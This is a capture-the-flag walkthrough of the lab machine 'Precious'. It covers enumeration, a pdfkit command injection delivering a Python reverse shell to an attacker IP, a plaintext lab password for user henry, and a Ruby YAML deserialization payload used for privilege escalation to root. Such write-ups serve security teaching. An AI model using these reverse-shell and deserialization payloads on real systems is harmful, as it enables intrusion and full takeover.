Description

This machine focuses on giving only 1 path of access without rabbitholes or distractions.

Running nmap against it we only see 2 services ssh, and a webserver.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-11 05:28 EST
Nmap scan report for 10.10.11.189
Host is up (0.027s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.35 seconds

Afterwards we look at the webservice from 2 viewpoints:

We open burp and intercept a packet from this page in order to see if any banners are shown:

Running gobuster yields nothing:

===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://precious.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /home/kali/Desktop/stuff/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.3
[+] Timeout:         10s
[+] Append Domain:   false
===============================================================
2023/01/11 05:31:15 Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 4911 / 4990 (98.42%)===============================================================
2023/01/11 05:31:28 Finished
===============================================================

Also we open ncat and point the app at us by putting http:ip:port in the form. We get:

nc -nvlp 8888
listening on [any] 8888 … connect to [10.10.14.42] from (UNKNOWN) [10.10.11.189] 39288 GET / HTTP/1.1 Host: 10.10.14.42:8888 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,*

We identify wkhtmltopdf which is exploitable in some versions but not ours. Still I tried some exploits to no success.

Afterwards we look at the product of the page, the pdf files. Using exiftool we read the metadata of the pdf produced.

ExifTool Version Number         : 12.54
File Name                       : qb5e0d3ddb13qp0cvjs4ml4u4syqhhsl.pdf
Directory                       : .
File Size                       : 10.0 kB
File Modification Date/Time     : 2023:01:11 05:44:47-05:00
File Access Date/Time           : 2023:01:11 05:44:48-05:00
File Inode Change Date/Time     : 2023:01:11 05:44:47-05:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

We see pdfkit which is exploitable and we can gain a shell.

For the shell we can use payloadsallthethings and get the python, but change python to python3. this should work python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.42”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“sh”)’

POST / HTTP/1.1

Host: precious.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 282

Origin: http://precious.htb

Connection: close

Referer: http://precious.htb/

Upgrade-Insecure-Requests: 1



url=http://10.10.14.42:8000/index.html?crow%3D%2520%60python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.42",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")';sleep 2%60

This should get us shell. You can use any variable name, i used crow.

Afterwards we run linpeas and search through the output.

One of the files contains the password for the user henry.

╔══════════╣ Executable files potentially added by user (limit 70)
2022-11-21+15:15:08.0729708500 /usr/local/sbin/laurel                                                           
2022-09-26+05:04:43.6880195170 /home/ruby/.bundle/config
2022-09-26+05:04:42.9800195060 /usr/local/bin/tilt
2022-09-26+05:04:42.8480195040 /usr/local/bin/rackup
2022-09-26+05:04:39.0520194460 /usr/local/bin/bundler
2022-09-26+05:04:39.0520194460 /usr/local/bin/bundle

Afterwards we get the contents and use the ssh to gain a better shell with the user henry:


BUNDLE_HTTPS://RUBYGEMS__ORG/: “henry:Q3c1AqGHtoI0aXAYFH” ruby@precious:/var/www/pdfapp$

After running linpeas again we see that henry can run as sudo ruby and a file:

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

We see that there is a yaml file being loaded and use an exploit for yaml deserialization. You can create the dependencies.yml file anywhere but it’s better to make it in tmp. The exploitable file should look like:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "your revshell"
         method_id: :resolve

This will get you to root and you can then get the root flag.